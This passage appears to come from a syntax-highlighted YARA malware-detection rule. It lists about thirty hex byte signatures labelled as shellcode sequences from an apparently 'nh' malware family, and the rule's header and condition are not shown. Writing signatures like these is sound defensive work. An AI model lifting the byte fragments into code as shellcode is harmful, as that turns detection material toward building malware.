               <span class="nx">$nh_shellcode_sequence_14</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">74</span> <span class="mi">05</span> <span class="nx">E8</span> <span class="nx">F6</span> <span class="nx">F4</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">B</span> <span class="mi">20</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">6</span><span class="nx">B</span> <span class="mi">28</span> <span class="mi">66</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">B</span> <span class="mi">10</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">5</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">30</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">6</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">38</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">C4</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_15</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">08</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">08</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">08</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">08</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_17</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">E</span> <span class="mi">18</span> <span class="mi">88</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">05</span> <span class="mi">03</span> <span class="nx">F0</span> <span class="mi">42</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">01</span> <span class="mi">07</span> <span class="mi">46</span> <span class="mi">62</span> <span class="nx">AC</span> <span class="mi">0</span><span class="nx">E</span> <span class="mi">00</span> <span class="mi">2</span><span class="nx">E</span> <span class="mi">18</span> <span class="mi">88</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="mi">96</span> <span class="mi">18</span> <span class="mi">88</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">00</span> <span class="nx">DD</span> <span class="mi">04</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_20</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">CC</span> <span class="nx">D8</span> <span class="mi">11</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E2</span> <span class="nx">D8</span> <span class="mi">11</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">17</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_21</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="nx">C7</span> <span class="mi">45</span> <span class="nx">FF</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">C6</span> <span class="mi">45</span> <span class="nx">E7</span> <span class="mi">00</span> <span class="nx">B9</span> <span class="mi">50</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="mi">80</span> <span class="mi">03</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D8</span> <span class="mi">41</span> <span class="nx">B8</span> <span class="mi">42</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">4</span><span class="nx">C</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_22</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">FD</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="mi">06</span> <span class="mi">83</span> <span class="mi">78</span> <span class="mi">74</span> <span class="mi">00</span> <span class="mi">74</span> <span class="mi">12</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="nx">BD</span> <span class="mi">98</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">C7</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">33</span> <span class="nx">C0</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">48</span> <span class="mi">0</span><span class="nx">D</span> <span class="nx">F3</span> <span class="nx">AA</span> <span class="mi">48</span> <span class="mi">83</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_23</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">57</span> <span class="nx">C0</span> <span class="nx">F3</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">44</span> <span class="mi">24</span> <span class="mi">20</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">95</span> <span class="mi">10</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="nx">E7</span> <span class="mi">1</span><span class="nx">F</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">90</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">95</span> <span class="mi">30</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">22</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_24</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">50</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C0</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">95</span> <span class="nx">C8</span> <span class="mi">03</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="mi">14</span> <span class="nx">F9</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">90</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">39</span> <span class="mi">6</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">78</span> <span class="mi">72</span> <span class="mi">10</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">60</span> <span class="mi">48</span> <span class="mi">85</span> <span class="nx">C9</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_25</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">75</span> <span class="nx">D8</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="mi">38</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">45</span> <span class="nx">E8</span> <span class="mi">41</span> <span class="mi">2</span><span class="nx">B</span> <span class="nx">F0</span> <span class="mi">44</span> <span class="mi">89</span> <span class="mi">74</span> <span class="mi">24</span> <span class="mi">28</span> <span class="mi">44</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CE</span> <span class="nx">BA</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">20</span> <span class="mi">8</span><span class="nx">B</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_26</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">F0</span> <span class="mi">08</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">39</span> <span class="nx">B5</span> <span class="mi">28</span> <span class="mi">09</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">72</span> <span class="mi">11</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">10</span> <span class="mi">09</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">85</span> <span class="nx">C9</span> <span class="mi">74</span> <span class="mi">05</span> <span class="nx">E8</span> <span class="mi">47</span> <span class="nx">A1</span> <span class="nx">FD</span> <span class="nx">FF</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">89</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_27</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">89</span> <span class="nx">BD</span> <span class="mi">60</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">9</span><span class="nx">D</span> <span class="mi">68</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">41</span> <span class="nx">B8</span> <span class="mi">12</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">15</span> <span class="mi">8</span><span class="nx">C</span> <span class="mi">4</span><span class="nx">F</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">50</span> <span class="mi">02</span> <span class="mi">00</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_28</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">D0</span> <span class="mi">48</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">42</span> <span class="nx">D8</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">53</span> <span class="mi">01</span> <span class="nx">E8</span> <span class="mi">33</span> <span class="mi">2</span><span class="nx">A</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">68</span> <span class="mi">4</span><span class="nx">E</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">34</span> <span class="mi">75</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">10</span> <span class="mi">45</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_29</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">CC</span> <span class="mi">40</span> <span class="mi">53</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">EC</span> <span class="mi">30</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D9</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">20</span> <span class="nx">E8</span> <span class="mi">65</span> <span class="mi">75</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">F8</span> <span class="mi">04</span> <span class="mi">77</span> <span class="mi">1</span><span class="nx">A</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">54</span> <span class="mi">24</span> <span class="mi">20</span> <span class="nx">B9</span> <span class="nx">FD</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_30</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D0</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">20</span> <span class="nx">E8</span> <span class="mi">60</span> <span class="mi">14</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C8</span> <span class="nx">E8</span> <span class="mi">04</span> <span class="mi">55</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">0</span><span class="nx">F</span> <span class="nx">B6</span> <span class="nx">C0</span> <span class="mi">89</span> <span class="mi">05</span> <span class="mi">37</span> <span class="mi">39</span> <span class="mi">11</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">39</span> <span class="nx">B5</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_31</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">D0</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C7</span> <span class="mi">41</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D4</span> <span class="nx">E8</span> <span class="nx">A5</span> <span class="nx">FB</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">EB</span> <span class="nx">A9</span> <span class="mi">45</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CE</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">D0</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C7</span> <span class="mi">41</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D4</span> <span class="nx">E8</span> <span class="mi">71</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_32</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">00</span> <span class="mi">49</span> <span class="mi">03</span> <span class="nx">FC</span> <span class="mi">33</span> <span class="nx">C0</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">48</span> <span class="mi">0</span><span class="nx">D</span> <span class="nx">F3</span> <span class="nx">AA</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">5</span><span class="nx">D</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">5</span><span class="nx">D</span> <span class="mi">10</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">D</span> <span class="mi">18</span> <span class="mi">41</span> <span class="nx">B8</span> <span class="mi">16</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">15</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_34</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="mi">03</span> <span class="nx">C9</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">41</span> <span class="mi">10</span> <span class="mi">48</span> <span class="mi">3</span><span class="nx">B</span> <span class="nx">C8</span> <span class="mi">48</span> <span class="mi">1</span><span class="nx">B</span> <span class="nx">C9</span> <span class="mi">48</span> <span class="mi">23</span> <span class="nx">C8</span> <span class="mi">74</span> <span class="mi">53</span> <span class="mi">48</span> <span class="mi">3</span><span class="nx">B</span> <span class="nx">CA</span> <span class="mi">77</span> <span class="mi">35</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">41</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">48</span> <span class="mi">3</span><span class="nx">B</span> <span class="nx">C1</span> <span class="mi">77</span> <span class="mi">0</span><span class="nx">A</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_35</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">41</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">DE</span> <span class="mi">45</span> <span class="mi">39</span> <span class="mi">32</span> <span class="mi">76</span> <span class="mi">1</span><span class="nx">F</span> <span class="mi">41</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">52</span> <span class="mi">04</span> <span class="mi">41</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">A</span> <span class="nx">FC</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C3</span> <span class="mi">41</span> <span class="mi">03</span> <span class="nx">DF</span> <span class="mi">48</span> <span class="mi">03</span> <span class="nx">C8</span> <span class="mi">48</span> <span class="mi">03</span> <span class="nx">D0</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">04</span> <span class="mi">3</span><span class="nx">A</span> <span class="mi">42</span> <span class="mi">88</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_36</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">FB</span> <span class="mi">33</span> <span class="nx">C0</span> <span class="nx">F3</span> <span class="nx">AA</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="nx">C2</span> <span class="mi">9</span><span class="nx">A</span> <span class="mi">06</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C8</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C3</span> <span class="mi">33</span> <span class="nx">D2</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">9</span><span class="nx">C</span> <span class="mi">9</span><span class="nx">A</span> <span class="mi">06</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">75</span> <span class="mi">90</span> <span class="mi">48</span> <span class="nx">C7</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_37</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">E8</span> <span class="nx">F6</span> <span class="mi">32</span> <span class="mi">03</span> <span class="mi">00</span> <span class="mi">85</span> <span class="nx">C0</span> <span class="mi">75</span> <span class="mi">05</span> <span class="mi">40</span> <span class="nx">B7</span> <span class="mi">01</span> <span class="nx">EB</span> <span class="mi">03</span> <span class="mi">40</span> <span class="mi">32</span> <span class="nx">FF</span> <span class="nx">F6</span> <span class="nx">C3</span> <span class="mi">01</span> <span class="mi">74</span> <span class="mi">1</span><span class="nx">B</span> <span class="mi">83</span> <span class="nx">E3</span> <span class="nx">FE</span> <span class="mi">48</span> <span class="mi">83</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">58</span> <span class="mi">10</span> <span class="mi">72</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_38</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">E8</span> <span class="mi">61</span> <span class="mi">70</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">00</span> <span class="nx">C6</span> <span class="mi">04</span> <span class="mi">33</span> <span class="mi">00</span> <span class="nx">EB</span> <span class="mi">13</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D6</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">74</span> <span class="mi">24</span> <span class="mi">20</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CF</span> <span class="nx">E8</span> <span class="mi">83</span> <span class="mi">02</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">F8</span> <span class="mi">49</span> <span class="mi">83</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_40</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span><span class="nx">F</span> <span class="nx">B6</span> <span class="mi">01</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">15</span> <span class="mi">67</span> <span class="nx">D6</span> <span class="mi">07</span> <span class="mi">00</span> <span class="mi">42</span> <span class="mi">8</span><span class="nx">A</span> <span class="mi">04</span> <span class="mi">10</span> <span class="mi">88</span> <span class="mi">01</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">49</span> <span class="mi">04</span> <span class="mi">49</span> <span class="mi">83</span> <span class="nx">E8</span> <span class="mi">01</span> <span class="mi">75</span> <span class="nx">E6</span> <span class="mi">48</span> <span class="nx">FF</span> <span class="nx">C2</span> <span class="mi">49</span> <span class="mi">83</span> <span class="nx">E9</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_41</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">06</span> <span class="mi">0</span><span class="nx">D</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D8</span> <span class="mi">48</span> <span class="mi">85</span> <span class="nx">C0</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">84</span> <span class="nx">AE</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">30</span> <span class="mi">65</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">0</span><span class="nx">C</span> <span class="mi">25</span> <span class="mi">30</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">51</span> <span class="mi">60</span> <span class="mi">48</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_42</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">EC</span> <span class="mi">20</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">FA</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D9</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">1</span><span class="nx">E</span> <span class="mi">17</span> <span class="mi">08</span> <span class="mi">00</span> <span class="mi">33</span> <span class="nx">C9</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">30</span> <span class="mi">49</span> <span class="nx">B8</span> <span class="mi">25</span> <span class="mi">23</span> <span class="mi">22</span> <span class="mi">84</span> <span class="nx">E4</span> <span class="mi">9</span><span class="nx">C</span> <span class="nx">F2</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_44</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CD</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">6</span><span class="nx">D</span> <span class="mi">7</span><span class="nx">C</span> <span class="mi">06</span> <span class="mi">00</span> <span class="mi">90</span> <span class="mi">48</span> <span class="mi">83</span> <span class="mi">7</span><span class="nx">F</span> <span class="mi">18</span> <span class="mi">08</span> <span class="mi">72</span> <span class="mi">0</span><span class="nx">D</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">48</span> <span class="mi">85</span> <span class="nx">C9</span> <span class="mi">74</span> <span class="mi">05</span> <span class="nx">E8</span> <span class="nx">A4</span> <span class="mi">62</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="mi">4</span><span class="nx">C</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_46</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">AA</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">91</span> <span class="mi">43</span> <span class="mi">06</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C8</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C3</span> <span class="mi">33</span> <span class="nx">D2</span> <span class="nx">FF</span> <span class="mi">15</span> <span class="mi">6</span><span class="nx">B</span> <span class="mi">43</span> <span class="mi">06</span> <span class="mi">00</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">89</span> <span class="mi">74</span> <span class="mi">24</span> <span class="mi">30</span> <span class="mi">48</span> <span class="nx">C7</span> <span class="mi">44</span> <span class="mi">24</span> <span class="mi">38</span> <span class="mi">0</span><span class="nx">F</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_47</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="nx">C7</span> <span class="mi">45</span> <span class="nx">CF</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">E8</span> <span class="mi">87</span> <span class="nx">CA</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">55</span> <span class="nx">B7</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">D</span> <span class="mi">17</span> <span class="nx">E8</span> <span class="mi">72</span> <span class="mi">89</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">D0</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_48</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">48</span> <span class="mi">60</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">41</span> <span class="mi">30</span> <span class="nx">F7</span> <span class="mi">40</span> <span class="mi">70</span> <span class="nx">FD</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="mi">06</span> <span class="mi">83</span> <span class="mi">78</span> <span class="mi">74</span> <span class="mi">00</span> <span class="mi">74</span> <span class="mi">12</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">D</span> <span class="nx">BD</span> <span class="mi">98</span> <span class="mi">0</span><span class="nx">F</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">C7</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_49</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">85</span> <span class="nx">F8</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">83</span> <span class="nx">C0</span> <span class="nx">F8</span> <span class="mi">48</span> <span class="nx">C7</span> <span class="mi">85</span> <span class="nx">B8</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">40</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">89</span> <span class="mi">85</span> <span class="mi">98</span> <span class="mi">0</span><span class="nx">A</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">44</span> <span class="mi">24</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_50</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">E8</span> <span class="mi">7</span><span class="nx">C</span> <span class="nx">FE</span> <span class="nx">FF</span> <span class="nx">FF</span> <span class="nx">F6</span> <span class="nx">C3</span> <span class="mi">01</span> <span class="mi">74</span> <span class="mi">0</span><span class="nx">D</span> <span class="nx">BA</span> <span class="mi">48</span> <span class="mi">01</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CF</span> <span class="nx">E8</span> <span class="nx">A6</span> <span class="nx">F3</span> <span class="mi">08</span> <span class="mi">00</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">5</span><span class="nx">C</span> <span class="mi">24</span> <span class="mi">30</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C7</span> <span class="mi">48</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_51</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">50</span> <span class="mi">10</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">39</span> <span class="mi">78</span> <span class="mi">18</span> <span class="mi">72</span> <span class="mi">03</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">00</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">43</span> <span class="mi">10</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">CB</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">39</span> <span class="mi">7</span><span class="nx">B</span> <span class="mi">18</span> <span class="mi">72</span> <span class="mi">03</span> <span class="mi">48</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">0</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">C</span> <span class="mi">3</span><span class="nx">B</span> <span class="nx">C2</span> <span class="p">}</span>
